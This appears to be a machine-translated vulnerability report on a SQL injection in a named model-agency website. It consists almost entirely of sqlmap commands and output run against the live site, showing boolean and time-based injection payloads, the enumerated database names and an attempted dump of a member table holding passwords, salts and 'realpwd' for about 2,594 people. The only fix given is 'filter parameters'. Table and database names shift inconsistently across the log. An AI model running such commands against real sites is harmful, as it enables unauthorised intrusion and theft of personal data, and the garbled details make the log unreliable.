A model web platform SQL injection vulnerability exposes more than 2500 model data and group data of multiple model companies.

A model web platform SQL injection vulnerability exposes more than 2500 model data and group data of multiple model companies.

A model web platform SQL injection vulnerability exposes more than 2500 model data and group data of multiple model companies :)

SQL Injection link: http://www.motexiu.cn/a/2011missworld/picture.php? Areaid = 7



C: \ Users \ franklin \ Desktop \ 1> sqlmap. py-u "http://www.motexiu.cn/a/2011missworld/

Picture. php? Areaid = 7"

_

___ | _____ ___ {1.0-dev-nongit-20141022}

| _-|. |. '|. |

| ___ | _ |__, | _ |

| _ | Http://sqlmap.org



[!] Legal disclaal: Usage of sqlmap for attacking targets without prior mutual

Consent is illegal. It is the end user's responsibility to obey all applicable

Local, state and federal laws. Developers assume no liability and are not respon

Sible for any misuse or damage caused by this program



[*] Starting at 20:17:11



[20:17:11] [INFO] resuming back-end DBMS 'mysql'

[20:17:11] [INFO] testing connection to the target URL

Sqlmap identified the following injection points with a total of 0 HTTP (s) reque

Sts:

---

Place: GET

Parameter: areaid

Type: boolean-based blind

Title: AND boolean-based blind-WHERE or HAVING clause

Payload: areaid = 7 AND 4154 = 4154



Type: AND/OR time-based blind

Title: MySQL> 5.0.11 AND time-based blind

Payload: areaid = 7 and sleep (5)

---

[20:17:12] [INFO] the back-end DBMS is MySQL

Web server operating system: Windows 2003 or XP

Web application technology: ASP. NET, Microsoft IIS 6.0, PHP 5.2.17

Back-end DBMS: MySQL 5.0.11

[20:17:12] [INFO] fetched data logged to text files under 'C: \ Users \ franklin \. sq

Lmap \ output \ www.motexiu.cn'



[*] Shutting down at 20:17:12



C: \ Users \ franklin \ Desktop \ 1> sqlmap. py-u "http://www.motexiu.cn/a/2011missworld/

Picture. php? Areaid = 7 "-- dbs

_

___ | _____ ___ {1.0-dev-nongit-20141022}

| _-|. |. '|. |

| ___ | _ |__, | _ |

| _ | Http://sqlmap.org



[!] Legal disclaal: Usage of sqlmap for attacking targets without prior mutual

Consent is illegal. It is the end user's responsibility to obey all applicable

Local, state and federal laws. Developers assume no liability and are not respon

Sible for any misuse or damage caused by this program



[*] Starting at 20:17:49



[20:17:49] [INFO] resuming back-end DBMS 'mysql'

[20:17:49] [INFO] testing connection to the target URL

Sqlmap identified the following injection points with a total of 0 HTTP (s) reque

Sts:

---

Place: GET

Parameter: areaid

Type: boolean-based blind

Title: AND boolean-based blind-WHERE or HAVING clause

Payload: areaid = 7 AND 4154 = 4154



Type: AND/OR time-based blind

Title: MySQL> 5.0.11 AND time-based blind

Payload: areaid = 7 and sleep (5)

---

[20:17:50] [INFO] the back-end DBMS is MySQL

Web server operating system: Windows 2003 or XP

Web application technology: ASP. NET, Microsoft IIS 6.0, PHP 5.2.17

Back-end DBMS: MySQL 5.0.11

[20:17:50] [INFO] fetching database names

[20:17:50] [INFO] fetching number of databases

[20:17:50] [INFO] resumed: 10

[20:17:50] [INFO] resumed: information_schema

[20:17:50] [INFO] resumed: hshop

[20:17:50] [INFO] resumed: motexiu_cn

[20:17:50] [INFO] resumed: motexiu_weed

[20:17:50] [INFO] resumed: mtx_cn

[20:17:50] [INFO] resumed: mysql

[20:17:50] [INFO] resumed: test123

[20:17:50] [INFO] resumed: web20130630

[20:17:50] [INFO] resumed: website

[20:17:50] [INFO] resumed: # mysql50 #

Available databases [10]:

[*] '# Mysql50 #'

[*] Hshop

[*] Information_schema

[*] Motexiu_cn

[*] Motexiu_weed

[*] Mtx_cn

[*] Mysql

[*] Test123

[*] Web20130630

[*] Website



[20:17:50] [INFO] fetched data logged to text files under 'C: \ Users \ franklin \. sq

Lmap \ output \ www.motexiu.cn'



[*] Shutting down at 20:17:50



C: \ Users \ franklin \ Desktop \ 1> sqlmap. py-u "http://www.motexiu.cn/a/2011missworld/

Picture. php? Areaid = 7 "-- dump-T mote_member-D mtx_cn

_

___ | _____ ___ {1.0-dev-nongit-20141022}

| _-|. |. '|. |

| ___ | _ |__, | _ |

| _ | Http://sqlmap.org



[!] Legal disclaal: Usage of sqlmap for attacking targets without prior mutual

Consent is illegal. It is the end user's responsibility to obey all applicable

Local, state and federal laws. Developers assume no liability and are not respon

Sible for any misuse or damage caused by this program



[*] Starting at 20:19:22



[20:19:22] [INFO] resuming back-end DBMS 'mysql'

[20:19:22] [INFO] testing connection to the target URL

Sqlmap identified the following injection points with a total of 0 HTTP (s) reque

Sts:

---

Place: GET

Parameter: areaid

Type: boolean-based blind

Title: AND boolean-based blind-WHERE or HAVING clause

Payload: areaid = 7 AND 4154 = 4154



Type: AND/OR time-based blind

Title: MySQL> 5.0.11 AND time-based blind

Payload: areaid = 7 and sleep (5)

---

[20:19:23] [INFO] the back-end DBMS is MySQL

Web server operating system: Windows 2003 or XP

Web application technology: ASP. NET, Microsoft IIS 6.0, PHP 5.2.17

Back-end DBMS: MySQL 5.0.11

[20:19:23] [INFO] fetching columns for table 'TE _ member' in database 'mt_cn'

[20:19:23] [INFO] resumed: 22

[20:19:23] [INFO] resumed: firmidr

[20:19:23] [INFO] resumed: firmmunber

[20:19:23] [INFO] resumed: password

[20:19:23] [INFO] resumed: salt

[20:19:23] [INFO] resumed: realpwd

[20:19:23] [INFO] resumed: smoney

[20:19:23] [INFO] resumed: group

[20:19:23] [INFO] resumed: views

[20:19:23] [INFO] resumed: flag

[20:19:23] [INFO] resumed: rec

[20:19:23] [INFO] resumed: approve

[20:19:23] [INFO] resumed: regip

[20:19:23] [INFO] resumed: regtime

[20:19:23] [INFO] resumed: formername

[20:19:23] [INFO] resumed: warnflag

[20:19:23] [INFO] resumed: groupid

[20:19:23] [INFO] resumed: formerif

[20:19:23] [INFO] resumed: isnew

[20:19:23] [INFO] resumed: altinfo

[20:19:23] [INFO] resumed: altcert

[20:19:23] [INFO] resumed: tjemail

[20:19:23] [INFO] resumed: isfrozen

[20:19:23] [INFO] fetching entries for table 'TE _ member' in database 'mt_cn'

[20:19:23] [INFO] fetching number of entries for table 'mote _ member' in database

'Mt_cn'

[20:19:23] [INFO] resumed: 2594

[20:19:23] [INFO] resumed: 2594

[20:19:23] [INFO] resumed: 2594

[20:19:23] [INFO] resumed: 2594

[20:19:23] [INFO] resumed: 2594

[20:19:23] [INFO] resumed: 2594

[20:19:23] [INFO] resumed: 2594

[20:19:23] [INFO] resumed: 2594

[20:19:23] [INFO] resumed: 2594

[20:19:23] [INFO] resumed: 2594
 

Solution:

Filter parameters